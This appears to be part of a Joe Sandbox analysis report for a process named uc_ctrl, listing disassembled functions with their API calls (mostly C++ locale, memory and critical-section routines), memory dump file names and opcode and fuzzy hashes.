Function 6C93F4B0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93F4B7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000000C), ref: 6C93F4C5

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93D96D: __EH_prolog3.LIBCMT ref: 6C93D974
Part of subcall function 6C93D96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EA4F,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93D97F
Part of subcall function 6C93D96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93D997
Part of subcall function 6C93D96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93D9FB

std::locale::~locale.LIBCPMT ref: 6C93F4DE
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(?,?,?,00000000,0000270F,00000000,00000000,?,?,?,?,0000000C), ref: 6C93F4FC

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3U?$char_traits@_V?$istreambuf_iterator@_$??1_?getloc@ios_base@std@@Bid@locale@std@@Getint@?$time_get@_Lockit@std@@V?$ctype@_Vlocale@2@W@2@@W@std@@@2@0W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 59661042-0
Opcode ID: d55a17d17317aa28c3f3b03a99d22a5a856f8ce81fcee86b0aa73954a59a470e
Instruction ID: 682693396e722c6fbfc24537897db0b7cf2fc7da62716de119cb36c3a76ea19b
Opcode Fuzzy Hash: d55a17d17317aa28c3f3b03a99d22a5a856f8ce81fcee86b0aa73954a59a470e
Instruction Fuzzy Hash: DA118E71900219ABCB08DF64D890AFE37B9BF29328F004659E91A9B7D0DB30D905CB61

Function 00778636 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00781474,00000000,?,007765FF,007817EC,00779910,00000000), ref: 00778640
LeaveCriticalSection.KERNEL32(00781474,?,007765FF,007817EC,00779910,00000000), ref: 00778673
SetEvent.KERNEL32(00000000,007817EC,00779910,00000000), ref: 00778701
ResetEvent.KERNEL32 ref: 0077870D

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: CriticalEventSection$EnterLeaveReset
String ID:
API String ID: 3553466030-0
Opcode ID: a48b2c1c495ef9108f5974d9c340c701eb331dc345aa0b8df24b536df617fc64
Instruction ID: 8c46c1f6c4fb433f4d3bf891dce1f4c212a126a6b0fde1cef06fb30915a930f3
Opcode Fuzzy Hash: a48b2c1c495ef9108f5974d9c340c701eb331dc345aa0b8df24b536df617fc64
Instruction Fuzzy Hash: 9F018F31681250EFCB049F58FD48EA837BDFB483913508069E90ACB321DB3C6882CB99

Function 6C67EC82 Relevance: 6.0, APIs: 4, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

LocalReAlloc.KERNEL32(?), ref: 6C67EC88
LeaveCriticalSection.KERNEL32(?), ref: 6C67EC97

Part of subcall function 6C67FBBF: __CxxThrowException@8.LIBVCRUNTIME ref: 6C67FBD3

TlsSetValue.KERNEL32(?,?,?,00000000), ref: 6C67ECC7
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,6C67F0C9,6C67C806,6C67F0F2,6C67F81F,6C679FCD,00000001,00000000,?,6C7B1AA6,?,00000001), ref: 6C67ECFE

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: CriticalLeaveSection$AllocException@8LocalThrowValue
String ID:
API String ID: 4202424549-0
Opcode ID: 9ac9034b9db359c50f476161cea5bf48a52ab1f1fed24a17de6cd0971707cff0
Instruction ID: d3af11552788453020685a4fc9263439c47ac1620616667d084030031fd6edc7
Opcode Fuzzy Hash: 9ac9034b9db359c50f476161cea5bf48a52ab1f1fed24a17de6cd0971707cff0
Instruction Fuzzy Hash: DC01FF75600605EFDB18DF65C889C5AFBB5FF45314320C529E86597A20DB31ED24CFA4

Function 6C93FCC9 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93FCD0
new.LIBCMT ref: 6C93FCE4

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6C94A06D,00000000), ref: 6C93FCFE

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

Part of subcall function 6C948197: __EH_prolog3_catch.LIBCMT ref: 6C94819E
Part of subcall function 6C948197: _Getcvt.MSVCP140(?,00000034,6C93FD27), ref: 6C9481AC
Part of subcall function 6C948197: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6C93FD27), ref: 6C9481BB

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000001,0000003C,6C94A06D,00000000), ref: 6C93FD32

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtH_prolog3_catchLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
String ID:
API String ID: 456732743-0
Opcode ID: 10e1e56c731358d9092f6cc15a91287cce8a11029b21c94aeaa2edc7c675f32d
Instruction ID: b325a55a758b7ebd0dd3cbd3c2b6d91b7ba80f2be40021d194b882ecb9acf6fc
Opcode Fuzzy Hash: 10e1e56c731358d9092f6cc15a91287cce8a11029b21c94aeaa2edc7c675f32d
Instruction Fuzzy Hash: 740181729143158FEB04DF64C4057EDB7B4AF28329F50481DD185A7B90DBB8C609CB54

Function 6C93FC53 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93FC5A
new.LIBCMT ref: 6C93FC6E

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6C94A106,00000000), ref: 6C93FC88

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

Part of subcall function 6C948197: __EH_prolog3_catch.LIBCMT ref: 6C94819E
Part of subcall function 6C948197: _Getcvt.MSVCP140(?,00000034,6C93FD27), ref: 6C9481AC
Part of subcall function 6C948197: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6C93FD27), ref: 6C9481BB

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000001,0000003C,6C94A106,00000000), ref: 6C93FCBB

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtH_prolog3_catchLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
String ID:
API String ID: 456732743-0
Opcode ID: 7965a153f80fecebd8094541495fcef37a911d5de31718b6e1d6f0feb0f8f4cc
Instruction ID: 8553cfcd76b994a854ae4465c6814bd8cdf8f2a879a59ae682f1f8575cbb65f6
Opcode Fuzzy Hash: 7965a153f80fecebd8094541495fcef37a911d5de31718b6e1d6f0feb0f8f4cc
Instruction Fuzzy Hash: 040181729113158FDB04DF64C8157EDB7B4AF28329F50481ED185A7B90DB78C619C754

Function 6C94B8B9 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94B8C0
new.LIBCMT ref: 6C94B8D4

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6C94D737,00000000), ref: 6C94B8EE

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

Part of subcall function 6C94D282: __EH_prolog3_catch.LIBCMT ref: 6C94D289
Part of subcall function 6C94D282: _Getcvt.MSVCP140(?,00000034,6C94B917), ref: 6C94D297
Part of subcall function 6C94D282: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6C94B917), ref: 6C94D2A6

??1_Locinfo@std@@QAE@XZ.MSVCP140 ref: 6C94B922

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtH_prolog3_catchLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
String ID:
API String ID: 456732743-0
Opcode ID: 62eadc60029cfd7520bb677dd0a17c6a313b9e183550f484f73ce790f46a6643
Instruction ID: f8a9f1c424dcf462053d40039b390dc3d07dba5038c87c42d8b074258bd842f9
Opcode Fuzzy Hash: 62eadc60029cfd7520bb677dd0a17c6a313b9e183550f484f73ce790f46a6643
Instruction Fuzzy Hash: B20181729103158FEB04DFA4C4157ADB6B4EF28729F50441DD086A7B90DFB8CA088B54

Function 6C94B843 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94B84A
new.LIBCMT ref: 6C94B85E

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6C94D7D0,00000000), ref: 6C94B878

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

Part of subcall function 6C94D282: __EH_prolog3_catch.LIBCMT ref: 6C94D289
Part of subcall function 6C94D282: _Getcvt.MSVCP140(?,00000034,6C94B917), ref: 6C94D297
Part of subcall function 6C94D282: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6C94B917), ref: 6C94D2A6

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000001,0000003C,6C94D7D0,00000000), ref: 6C94B8AB

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtH_prolog3_catchLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
String ID:
API String ID: 456732743-0
Opcode ID: 2ec622f6918996768d595d6849faf23f5c355c75256795fc4b6bfff9c7b6e28d
Instruction ID: a46a2bbd9c0ed3c0302d086daa113e7148e2d6d159f049b4b2cfcc34a16e55af
Opcode Fuzzy Hash: 2ec622f6918996768d595d6849faf23f5c355c75256795fc4b6bfff9c7b6e28d
Instruction Fuzzy Hash: 380181729113158FEB04DFA4C4157ADB6B4EF24329F54446DD085A7B90DB78C6098B54

Function 6C93C976 Relevance: 6.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C93C97E
_invalid_parameter_noinfo.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C93C989
memcpy.VCRUNTIME140(?,?,?), ref: 6C93C9A2

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfomemcpy
String ID:
API String ID: 2191804904-0
Opcode ID: 346579826c9a036260e1bad12d98d065c2824daa97813764a2e0cd71c21a81a6
Instruction ID: 8fde05357341b504bda26fb8f4191526e59dcc32cf56b8ef892b070faec75011
Opcode Fuzzy Hash: 346579826c9a036260e1bad12d98d065c2824daa97813764a2e0cd71c21a81a6
Instruction Fuzzy Hash: B4F0E03E795734EFEF103A68880468B36799F47745F11A615F50FC5904DB31C0018796

Function 6C940492 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C940499
new.LIBCMT ref: 6C9404AD

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6C949D70,00000000), ref: 6C9404C7

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

Part of subcall function 6C944F4C: __EH_prolog3_catch_GS.LIBCMT ref: 6C944F53
Part of subcall function 6C944F4C: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(0000006C,6C9404EC,?,00000001,0000003C,6C949D70,00000000), ref: 6C944F5D
Part of subcall function 6C944F4C: _Getcvt.MSVCP140(?,?,00000001,0000003C,6C949D70,00000000), ref: 6C944F6A
Part of subcall function 6C944F4C: _Getcvt.MSVCP140(?,?,00000001,0000003C,6C949D70,00000000), ref: 6C944F9E

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000001,0000003C,6C949D70,00000000), ref: 6C9404F1

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$GetcvtH_prolog3$??0_??1_ExceptionH_prolog3_catch_Locinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
String ID:
API String ID: 663634117-0
Opcode ID: a36dfa87506e858558605085fe3c8a1c7f7534f806b939aecb7d2c3f13d51963
Instruction ID: eb8a371f2234fc056b9b1f9884df296188457aedaf1a3818f477429807bfb120
Opcode Fuzzy Hash: a36dfa87506e858558605085fe3c8a1c7f7534f806b939aecb7d2c3f13d51963
